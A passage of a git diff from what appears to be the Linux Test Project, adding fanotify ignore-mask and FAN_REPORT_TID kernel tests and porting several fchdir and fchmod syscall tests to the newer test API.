+	FAN_CLASS_CONTENT,
+	FAN_CLASS_NOTIF
+};
+#define FANOTIFY_PRIORITIES ARRAY_SIZE(fanotify_prio)
+
+#define GROUPS_PER_PRIO 3
+
+static int fd_notify[FANOTIFY_PRIORITIES][GROUPS_PER_PRIO];
+
+static char event_buf[EVENT_BUF_LEN];
+
+#define MOUNT_PATH "fs_mnt"
+#define MNT2_PATH "mntpoint"
+#define FILE_NAME "testfile"
+#define FILE2_NAME "testfile2"
+#define FILE_PATH MOUNT_PATH"/"FILE_NAME
+#define FILE2_PATH MOUNT_PATH"/"FILE2_NAME
+#define FILE_MNT2 MNT2_PATH"/"FILE_NAME
+#define FILE2_MNT2 MNT2_PATH"/"FILE2_NAME
+
+static int bind_mount_created;
+
+enum {
+	FANOTIFY_INODE,
+	FANOTIFY_MOUNT,
+	FANOTIFY_FILESYSTEM,
+};
+
+static struct fanotify_mark_type fanotify_mark_types[] = {
+	INIT_FANOTIFY_MARK_TYPE(INODE),
+	INIT_FANOTIFY_MARK_TYPE(MOUNT),
+	INIT_FANOTIFY_MARK_TYPE(FILESYSTEM),
+};
+
+static struct tcase {
+	const char *tname;
+	const char *mark_path;
+	int mark_type;
+	const char *ignore_path;
+	int ignore_mark_type;
+	const char *event_path;
+	int expect_event;
+} tcases[] = {
+	{
+		"ignore mount events created on a specific file",
+		MOUNT_PATH, FANOTIFY_MOUNT,
+		FILE_MNT2, FANOTIFY_INODE,
+		FILE_PATH, 0
+	},
+	{
+		"don't ignore mount events created on another file",
+		MOUNT_PATH, FANOTIFY_MOUNT,
+		FILE_PATH, FANOTIFY_INODE,
+		FILE2_PATH, 1
+	},
+	{
+		"ignore inode events created on a specific mount point",
+		FILE_PATH, FANOTIFY_INODE,
+		MNT2_PATH, FANOTIFY_MOUNT,
+		FILE_MNT2, 0
+	},
+	{
+		"don't ignore inode events created on another mount point",
+		FILE_MNT2, FANOTIFY_INODE,
+		MNT2_PATH, FANOTIFY_MOUNT,
+		FILE_PATH, 1
+	},
+	{
+		"ignore fs events created on a specific file",
+		MOUNT_PATH, FANOTIFY_FILESYSTEM,
+		FILE_PATH, FANOTIFY_INODE,
+		FILE_PATH, 0
+	},
+	{
+		"don't ignore mount events created on another file",
+		MOUNT_PATH, FANOTIFY_FILESYSTEM,
+		FILE_PATH, FANOTIFY_INODE,
+		FILE2_PATH, 1
+	},
+	{
+		"ignore fs events created on a specific mount point",
+		MOUNT_PATH, FANOTIFY_FILESYSTEM,
+		MNT2_PATH, FANOTIFY_MOUNT,
+		FILE_MNT2, 0
+	},
+	{
+		"don't ignore fs events created on another mount point",
+		MOUNT_PATH, FANOTIFY_FILESYSTEM,
+		MNT2_PATH, FANOTIFY_MOUNT,
+		FILE_PATH, 1
+	},
+};
+
+static int create_fanotify_groups(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+	struct fanotify_mark_type *mark, *ignore_mark;
+	unsigned int p, i;
+	int ret;
+
+	mark = &fanotify_mark_types[tc->mark_type];
+	ignore_mark = &fanotify_mark_types[tc->ignore_mark_type];
+
+	for (p = 0; p < FANOTIFY_PRIORITIES; p++) {
+		for (i = 0; i < GROUPS_PER_PRIO; i++) {
+			fd_notify[p][i] = SAFE_FANOTIFY_INIT(fanotify_prio[p] |
+							     FAN_NONBLOCK,
+							     O_RDONLY);
+
+			/* Add mark for each group */
+			ret = fanotify_mark(fd_notify[p][i],
+					    FAN_MARK_ADD | mark->flag,
+					    FAN_OPEN, AT_FDCWD, tc->mark_path);
+			if (ret < 0) {
+				if (errno == EINVAL &&
+				    tc->mark_type == FANOTIFY_FILESYSTEM) {
+					tst_res(TCONF,
+						"FAN_MARK_FILESYSTEM not "
+						"supported in kernel?");
+					return -1;
+				}
+				tst_brk(TBROK | TERRNO,
+					"fanotify_mark(%d, FAN_MARK_ADD | %s,"
+					"FAN_OPEN, AT_FDCWD, %s) failed",
+					fd_notify[p][i], mark->name,
+					tc->mark_path);
+			}
+			/* Add ignore mark for groups with higher priority */
+			if (p == 0)
+				continue;
+			ret = fanotify_mark(fd_notify[p][i],
+					    FAN_MARK_ADD | ignore_mark->flag |
+					    FAN_MARK_IGNORED_MASK |
+					    FAN_MARK_IGNORED_SURV_MODIFY,
+					    FAN_OPEN, AT_FDCWD,
+					    tc->ignore_path);
+			if (ret < 0) {
+				tst_brk(TBROK | TERRNO,
+					"fanotify_mark(%d, FAN_MARK_ADD | %s | "
+					"FAN_MARK_IGNORED_MASK | "
+					"FAN_MARK_IGNORED_SURV_MODIFY, "
+					"FAN_OPEN, AT_FDCWD, %s) failed",
+					fd_notify[p][i], ignore_mark->name,
+					tc->ignore_path);
+			}
+		}
+	}
+	return 0;
+}
+
+static void cleanup_fanotify_groups(void)
+{
+	unsigned int i, p;
+
+	for (p = 0; p < FANOTIFY_PRIORITIES; p++) {
+		for (i = 0; i < GROUPS_PER_PRIO; i++) {
+			if (fd_notify[p][i] > 0)
+				SAFE_CLOSE(fd_notify[p][i]);
+		}
+	}
+}
+
+static void verify_event(int group, struct fanotify_event_metadata *event)
+{
+	if (event->mask != FAN_OPEN) {
+		tst_res(TFAIL, "group %d got event: mask %llx (expected %llx) "
+			"pid=%u fd=%u", group, (unsigned long long)event->mask,
+			(unsigned long long)FAN_OPEN,
+			(unsigned)event->pid, event->fd);
+	} else if (event->pid != getpid()) {
+		tst_res(TFAIL, "group %d got event: mask %llx pid=%u "
+			"(expected %u) fd=%u", group,
+			(unsigned long long)event->mask, (unsigned)event->pid,
+			(unsigned)getpid(), event->fd);
+	} else {
+		tst_res(TPASS, "group %d got event: mask %llx pid=%u fd=%u",
+			group, (unsigned long long)event->mask,
+			(unsigned)event->pid, event->fd);
+	}
+}
+
+static void test_fanotify(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+	struct fanotify_mark_type *mark, *ignore_mark;
+	int ret, fd;
+	unsigned int p, i;
+	struct fanotify_event_metadata *event;
+
+	tst_res(TINFO, "Test #%d: %s", n, tc->tname);
+
+	if (create_fanotify_groups(n) != 0)
+		goto cleanup;
+
+	mark = &fanotify_mark_types[tc->mark_type];
+	ignore_mark = &fanotify_mark_types[tc->ignore_mark_type];
+
+	/*
+	 * generate sequence of events
+	 */
+	fd = SAFE_OPEN(tc->event_path, O_RDONLY);
+	SAFE_CLOSE(fd);
+
+	/* First verify all groups without matching ignore mask got the event */
+	for (p = 0; p < FANOTIFY_PRIORITIES; p++) {
+		if (p > 0 && !tc->expect_event)
+			break;
+
+		for (i = 0; i < GROUPS_PER_PRIO; i++) {
+			ret = read(fd_notify[p][i], event_buf, EVENT_BUF_LEN);
+			if (ret < 0) {
+				if (errno == EAGAIN) {
+					tst_res(TFAIL, "group %d (prio %d) "
+						"with %s did not get event",
+						i, p, mark->name);
+				}
+				tst_brk(TBROK | TERRNO,
+					"reading fanotify events failed");
+			}
+			if (ret < (int)FAN_EVENT_METADATA_LEN) {
+				tst_brk(TBROK,
+					"short read when reading fanotify "
+					"events (%d < %d)", ret,
+					(int)EVENT_BUF_LEN);
+			}
+			event = (struct fanotify_event_metadata *)event_buf;
+			if (ret > (int)event->event_len) {
+				tst_res(TFAIL, "group %d (prio %d) with %s "
+					"got more than one event (%d > %d)",
+					i, p, mark->name, ret,
+					event->event_len);
+			} else {
+				verify_event(i, event);
+			}
+			if (event->fd != FAN_NOFD)
+				SAFE_CLOSE(event->fd);
+		}
+	}
+	/* Then verify all groups with matching ignore mask did got the event */
+	for (p = 1; p < FANOTIFY_PRIORITIES && !tc->expect_event; p++) {
+		for (i = 0; i < GROUPS_PER_PRIO; i++) {
+			ret = read(fd_notify[p][i], event_buf, EVENT_BUF_LEN);
+			if (ret == 0) {
+				tst_brk(TBROK,
+					"zero length read from fanotify fd");
+			}
+			if (ret > 0) {
+				tst_res(TFAIL, "group %d (prio %d) with %s and "
+					"%s ignore mask got event",
+					i, p, mark->name, ignore_mark->name);
+				if (event->fd != FAN_NOFD)
+					SAFE_CLOSE(event->fd);
+			} else if (errno == EAGAIN) {
+				tst_res(TPASS, "group %d (prio %d) with %s and "
+					"%s ignore mask got no event",
+					i, p, mark->name, ignore_mark->name);
+			} else {
+				tst_brk(TBROK | TERRNO,
+					"reading fanotify events failed");
+			}
+		}
+	}
+cleanup:
+	cleanup_fanotify_groups();
+}
+
+static void setup(void)
+{
+	/* Create another bind mount at another path for generating events */
+	SAFE_MKDIR(MNT2_PATH, 0755);
+	SAFE_MOUNT(MOUNT_PATH, MNT2_PATH, "none", MS_BIND, NULL);
+	bind_mount_created = 1;
+
+	SAFE_FILE_PRINTF(FILE_PATH, "1");
+	SAFE_FILE_PRINTF(FILE2_PATH, "1");
+}
+
+static void cleanup(void)
+{
+	cleanup_fanotify_groups();
+
+	if (bind_mount_created && tst_umount(MNT2_PATH) < 0)
+		tst_brk(TBROK | TERRNO, "bind umount failed");
+}
+
+static struct tst_test test = {
+	.test = test_fanotify,
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.cleanup = cleanup,
+	.mount_device = 1,
+	.mntpoint = MOUNT_PATH,
+	.needs_tmpdir = 1,
+	.needs_root = 1
+};
+
+#else
+	TST_TEST_TCONF("system doesn't have required fanotify support");
+#endif
diff --git a/testcases/kernel/syscalls/fanotify/fanotify11.c b/testcases/kernel/syscalls/fanotify/fanotify11.c
new file mode 100644
index 0000000..9e8606c
--- /dev/null
+++ b/testcases/kernel/syscalls/fanotify/fanotify11.c
@@ -0,0 +1,119 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Huawei.  All Rights Reserved.
+ *
+ * Started by nixiaoming <nixiaoming@huawei.com>
+ *
+ * DESCRIPTION
+ *     After fanotify_init adds flags FAN_REPORT_TID,
+ *     check whether the program can accurately identify which thread id
+ *     in the multithreaded program triggered the event.
+ *
+ */
+#define _GNU_SOURCE
+#include "config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <string.h>
+#include <unistd.h>
+#include <sys/syscall.h>
+#include <pthread.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <linux/limits.h>
+#include "tst_test.h"
+#include "tst_safe_pthread.h"
+#include "fanotify.h"
+
+#if defined(HAVE_SYS_FANOTIFY_H)
+#include <sys/fanotify.h>
+
+#define gettid() syscall(SYS_gettid)
+static int tid;
+
+void *thread_create_file(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	char tid_file[64] = {0};
+
+	tid = gettid();
+	snprintf(tid_file, sizeof(tid_file), "test_tid_%d",  tid);
+	SAFE_FILE_PRINTF(tid_file, "1");
+
+	pthread_exit(0);
+}
+
+static unsigned int tcases[] = {
+	FAN_CLASS_NOTIF,
+	FAN_CLASS_NOTIF | FAN_REPORT_TID
+};
+
+void test01(unsigned int i)
+{
+	int ret;
+	pthread_t p_id;
+	struct fanotify_event_metadata event;
+	int fd_notify;
+	int tgid = getpid();
+
+	tst_res(TINFO, "Test #%u: %s FAN_REPORT_TID: tgid=%d, tid=%d, event.pid=%d",
+			i, (tcases[i] & FAN_REPORT_TID) ? "with" : "without",
+			tgid, tid, event.pid);
+
+	fd_notify = fanotify_init(tcases[i], 0);
+	if (fd_notify < 0) {
+		if (errno == EINVAL && (tcases[i] & FAN_REPORT_TID)) {
+			tst_res(TCONF,
+				"FAN_REPORT_TID not supported in kernel?");
+			return;
+		}
+		tst_brk(TBROK | TERRNO, "fanotify_init(0x%x, 0) failed",
+				tcases[i]);
+	}
+
+	ret = fanotify_mark(fd_notify, FAN_MARK_ADD,
+			FAN_ALL_EVENTS | FAN_EVENT_ON_CHILD, AT_FDCWD, ".");
+	if (ret != 0)
+		tst_brk(TBROK, "fanotify_mark FAN_MARK_ADD fail ret=%d", ret);
+
+	SAFE_PTHREAD_CREATE(&p_id, NULL, thread_create_file, NULL);
+
+	SAFE_READ(0, fd_notify, &event, sizeof(struct fanotify_event_metadata));
+
+	if ((tcases[i] & FAN_REPORT_TID) && event.pid == tid)
+		tst_res(TPASS, "event.pid == tid");
+	else if (!(tcases[i] & FAN_REPORT_TID) && event.pid == tgid)
+		tst_res(TPASS, "event.pid == tgid");
+	else
+		tst_res(TFAIL, "unexpected event.pid value");
+
+	if (event.fd != FAN_NOFD)
+		SAFE_CLOSE(event.fd);
+	SAFE_CLOSE(fd_notify);
+	SAFE_PTHREAD_JOIN(p_id, NULL);
+}
+
+static void setup(void)
+{
+	int fd;
+
+	fd = SAFE_FANOTIFY_INIT(FAN_CLASS_NOTIF, O_RDONLY);
+	SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test = test01,
+	.tcnt =  ARRAY_SIZE(tcases),
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+};
+
+#else
+TST_TEST_TCONF("system doesn't have required fanotify support");
+#endif
diff --git a/testcases/kernel/syscalls/fchdir/.gitignore b/testcases/kernel/syscalls/fchdir/.gitignore
new file mode 100644
index 0000000..761c8c2
--- /dev/null
+++ b/testcases/kernel/syscalls/fchdir/.gitignore
@@ -0,0 +1,3 @@
+/fchdir01
+/fchdir02
+/fchdir03
diff --git a/testcases/kernel/syscalls/fchdir/fchdir03.c b/testcases/kernel/syscalls/fchdir/fchdir03.c
index 59685f8..dd610e5 100644
--- a/testcases/kernel/syscalls/fchdir/fchdir03.c
+++ b/testcases/kernel/syscalls/fchdir/fchdir03.c
@@ -42,12 +42,12 @@
 {
 	TEST(fchdir(fd));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "fchdir() succeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO != EACCES) {
+	if (TST_ERR != EACCES) {
 		tst_res(TFAIL | TTERRNO, "fchdir() should fail with EACCES");
 		return;
 	}
diff --git a/testcases/kernel/syscalls/fchmod/.gitignore b/testcases/kernel/syscalls/fchmod/.gitignore
new file mode 100644
index 0000000..3697537
--- /dev/null
+++ b/testcases/kernel/syscalls/fchmod/.gitignore
@@ -0,0 +1,6 @@
+/fchmod01
+/fchmod02
+/fchmod03
+/fchmod04
+/fchmod05
+/fchmod06
diff --git a/testcases/kernel/syscalls/fchmod/fchmod.h b/testcases/kernel/syscalls/fchmod/fchmod.h
new file mode 100644
index 0000000..3e32e01
--- /dev/null
+++ b/testcases/kernel/syscalls/fchmod/fchmod.h
@@ -0,0 +1,16 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Author: Jinhui huang <huangjh.jy@cn.fujitsu.com>
+ */
+
+#ifndef FCHMOD_H
+#define FCHMOD_H
+
+#define FILE_MODE	(S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH)
+#define DIR_MODE	(S_IRWXU | S_IRWXG | S_IRWXO)
+#define PERMS	01777
+#define TESTFILE	"testfile"
+#define TESTDIR	"testdir"
+
+#endif /* FCHMOD_H */
diff --git a/testcases/kernel/syscalls/fchmod/fchmod01.c b/testcases/kernel/syscalls/fchmod/fchmod01.c
index dd4a28c..05b5667 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod01.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod01.c
@@ -1,181 +1,63 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
+ * Author: Wayne Boyer and William Roske
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
+ * Test Description:
+ * fchmod() will succeed to change the mode permissions of a file specified
+ * by file descriptor.
  */
-/* $Id: fchmod01.c,v 1.6 2009/10/26 14:55:46 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: fchmod01
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: William Roske
- *
- *    CO-PILOT		: Dave Fenner
- *
- *    DATE STARTED	: 03/30/92
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- * 	1.) fchmod(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- * 	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *$
- *    DURATION
- * 	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- * 	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- * 	None
- *
- *    INTERCASE DEPENDENCIES
- * 	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the fchmod(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	fchmod(2).
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
-#include <sys/types.h>
-#include <fcntl.h>
-#include <sys/stat.h>
 #include <errno.h>
-#include <signal.h>
-#include <string.h>
-#include "test.h"
 
-void setup();
-void cleanup();
+#include "tst_test.h"
+#include "fchmod.h"
 
-char *TCID = "fchmod01";
-int TST_TOTAL = 1;
+static int fd;
+static int modes[] = { 0, 07, 070, 0700, 0777, 02777, 04777, 06777 };
 
-char fname[255];
-int fd;
-char *buf = "davef";
-
-int main(int ac, char **av)
+static void verify_fchmod(void)
 {
-	int lc;
+	struct stat stat_buf;
+	int ind;
+	mode_t file_mode, mode;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	for (ind = 0; ind < 8; ind++) {
+		mode = (mode_t)modes[ind];
 
-	setup();
+		TEST(fchmod(fd, mode));
+		if (TST_RET == -1)
+			tst_res(TFAIL | TTERRNO, "fchmod() failed unexpectly");
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
+		SAFE_FSTAT(fd, &stat_buf);
+		file_mode = stat_buf.st_mode;
 
-		tst_count = 0;
-
-		TEST(fchmod(fd, 0700));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO,
-				 "fchmod(%s, 0700) failed", fname);
+		if ((file_mode & ~S_IFREG) != mode) {
+			tst_res(TFAIL,
+				"%s: Incorrect modes 0%03o, Expected 0%03o",
+				TESTFILE, file_mode & ~S_IFREG, mode);
 		} else {
-			tst_resm(TPASS, "fchmod(%s, 0700) returned %ld",
-				 fname, TEST_RETURN);
+			tst_res(TPASS,
+				"Functionality of fchmod(%d, %#o) successful",
+				fd, mode);
 		}
-
 	}
-
-	cleanup();
-	tst_exit();
 }
 
-void setup(void)
+static void setup(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	sprintf(fname, "tfile_%d", getpid());
-	if ((fd = open(fname, O_RDWR | O_CREAT, 0700)) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "open failed");
-	else if (write(fd, buf, strlen(buf)) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "write failed");
+	fd = SAFE_OPEN(TESTFILE, O_RDWR | O_CREAT, FILE_MODE);
 }
 
-/***************************************************************
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- ***************************************************************/
-void cleanup(void)
+static void cleanup(void)
 {
-	if (close(fd) == -1)
-		tst_brkm(TWARN | TERRNO, cleanup, "close failed");
-
-	tst_rmdir();
-
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.test_all = verify_fchmod,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/fchmod/fchmod02.c b/testcases/kernel/syscalls/fchmod/fchmod02.c
index 684eb8c..e60cb33 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod02.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod02.c
@@ -1,27 +1,9 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * Test Name: fchmod02
+ * Copyright (c) International Business Machines  Corp., 2001
  *
  * Test Description:
- *  Verify that, fchmod(2) will succeed to change the mode of a file/directory
+ *  Verify that, fchmod() will succeed to change the mode of a file/directory
  *  set the sticky bit on it if invoked by root (uid = 0) process with
  *  the following constraints,
  *	- the process is not the owner of the file/directory.
@@ -31,191 +13,61 @@
  * Expected Result:
  *  fchmod() should return value 0 on success and succeeds to set sticky bit
  *  on the specified file.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *   	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *   	Verify the Functionality of system call
- *      if successful,
- *      	Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *  fchmod02 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  This test should be run by 'super-user' (root) only.
- *
  */
 
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include <grp.h>
 #include <pwd.h>
+#include <grp.h>
+#include <errno.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
+#include "fchmod.h"
 
-#define LTPUSER		"nobody"
-#ifdef ANDROID
-#define LTPGRP		"sdcard_r"
-#else
-#define LTPGRP		"users"
-#endif
-#define FILE_MODE 	S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
-#define PERMS		01777	/*
-				 * Mode permissions of test file with sticky
-				 * bit set.
-				 */
-#define TESTFILE	"testfile"
+static int fd;
 
-int fd;				/* file descriptor variable */
-char *TCID = "fchmod02";
-int TST_TOTAL = 1;
-
-void setup();			/* Main setup function for the test */
-void cleanup();			/* Main cleanup function for the test */
-
-int main(int ac, char **av)
+static void verify_fchmod(void)
 {
-	struct stat stat_buf;	/* stat(2) struct contents */
-	int lc;
+	struct stat stat_buf;
+	mode_t file_mode;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TEST(fchmod(fd, PERMS));
+	if (TST_RET == -1)
+		tst_res(TFAIL | TTERRNO, "fchmod() failed unexpectly");
 
-	setup();
+	SAFE_FSTAT(fd, &stat_buf);
+	file_mode = stat_buf.st_mode;
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call fchmod(2) with specified mode argument
-		 * (sticky-bit set) on testfile.
-		 */
-		TEST(fchmod(fd, PERMS));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "fchmod(%d, %#o) Failed, errno=%d : %s",
-				 fd, PERMS, TEST_ERRNO, strerror(TEST_ERRNO));
-			continue;
-		}
-		/*
-		 * Get the testfile information using
-		 * fstat(2).
-		 */
-		if (fstat(fd, &stat_buf) < 0) {
-			tst_brkm(TFAIL, cleanup, "fstat(2) of %s "
-				 "failed, errno:%d", TESTFILE,
-				 TEST_ERRNO);
-		}
-
-		/* Check for expected mode permissions */
-		if ((stat_buf.st_mode & PERMS) == PERMS) {
-			tst_resm(TPASS, "Functionality of fchmod(%d, "
-				 "%#o) Successful", fd, PERMS);
-		} else {
-			tst_resm(TFAIL, "%s: Incorrect modes 0%03o, "
-				 "Expected 0%03o", TESTFILE,
-				 stat_buf.st_mode, PERMS);
-		}
+	if ((file_mode & ~S_IFREG) != PERMS) {
+		tst_res(TFAIL, "%s: Incorrect modes 0%03o, Expected 0%03o",
+			TESTFILE, file_mode, PERMS);
+	} else {
+		tst_res(TPASS, "Functionality of fchmod(%d, %#o) Successful",
+			fd, PERMS);
 	}
-
-	cleanup();
-	tst_exit();
 }
 
-/*
- * void
- * setup() - performs all ONE TIME setup for this test.
- *  Create a temporary directory and change directory to it.
- *  Create a test file under temporary directory.
- *  Change the ownership of test file to that of "ltpuser1" user.
- */
-void setup(void)
+static void setup(void)
 {
-	struct passwd *ltpuser;	/* password struct for ltpuser1 */
-	struct group *ltpgroup;	/* group struct for ltpuser1 */
-	gid_t group1_gid;	/* user and process group id's */
-	uid_t user1_uid;
+	struct passwd *ltpuser;
+	struct group *ltpgroup;
 
-	tst_require_root();
+	ltpuser = SAFE_GETPWNAM("nobody");
+	ltpgroup = SAFE_GETGRNAM_FALLBACK("users", "daemon");
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	/* Get the uid of guest user - ltpuser1 */
-	if ((ltpuser = getpwnam(LTPUSER)) == NULL) {
-		tst_brkm(TBROK, cleanup, "%s not in /etc/passwd", LTPUSER);
-	}
-	user1_uid = ltpuser->pw_uid;
-
-	/* Get the group id of guest user - ltpuser1 */
-	if ((ltpgroup = getgrnam(LTPGRP)) == NULL) {
-		tst_brkm(TBROK, cleanup, "%s not in /etc/group", LTPGRP);
-	}
-	group1_gid = ltpgroup->gr_gid;
-
-	/*
-	 * Create a test file under temporary directory with specified
-	 * mode permissios and set the ownership of the test file to the
-	 * uid/gid of guest user user1.
-	 */
-	if ((fd = open(TESTFILE, O_RDWR | O_CREAT, FILE_MODE)) == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "open(%s, O_RDWR|O_CREAT, %#o) Failed, errno=%d : %s",
-			 TESTFILE, FILE_MODE, errno, strerror(errno));
-	}
-
-	SAFE_CHOWN(cleanup, TESTFILE, user1_uid, group1_gid);
-
-	/* Set the effective gid of the process to that of user */
-	SAFE_SETGID(cleanup, group1_gid);
+	fd = SAFE_OPEN(TESTFILE, O_RDWR | O_CREAT, FILE_MODE);
+	SAFE_CHOWN(TESTFILE, ltpuser->pw_uid, ltpgroup->gr_gid);
+	SAFE_SETGID(ltpgroup->gr_gid);
 }
 
-/*
- * void
- * cleanup() - performs all ONE TIME cleanup for this test at
- *	       completion or premature exit.
- *  Close the testfile created in the setup.
- *  Remove the test directory and testfile created in the setup.
- */
-void cleanup(void)
+static void cleanup(void)
 {
-
-	/* Close the testfile created in the setup() */
-	SAFE_CLOSE(NULL, fd);
-
-	tst_rmdir();
-
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.test_all = verify_fchmod,
+	.needs_root = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/fchmod/fchmod03.c b/testcases/kernel/syscalls/fchmod/fchmod03.c
index 8d35bc1..a5824f3 100644
--- a/testcases/kernel/syscalls/fchmod/fchmod03.c
+++ b/testcases/kernel/syscalls/fchmod/fchmod03.c
@@ -81,10 +81,7 @@
 
 #include "test.h"
 #include "safe_macros.h"
-
-#define FILE_MODE       (S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH)
-#define PERMS		01777
-#define TESTFILE	"testfile"
+#include "fchmod.h"
 
 int fd;				/* file descriptor for test file */
 char *TCID = "fchmod03";
diff --git a/testcases/kernel/syscalls/fchmod/fchmod04.c b/testcases/kernel/syscalls/fchmod/fchmod04.c
index 27e3bdc..befaadb 100644
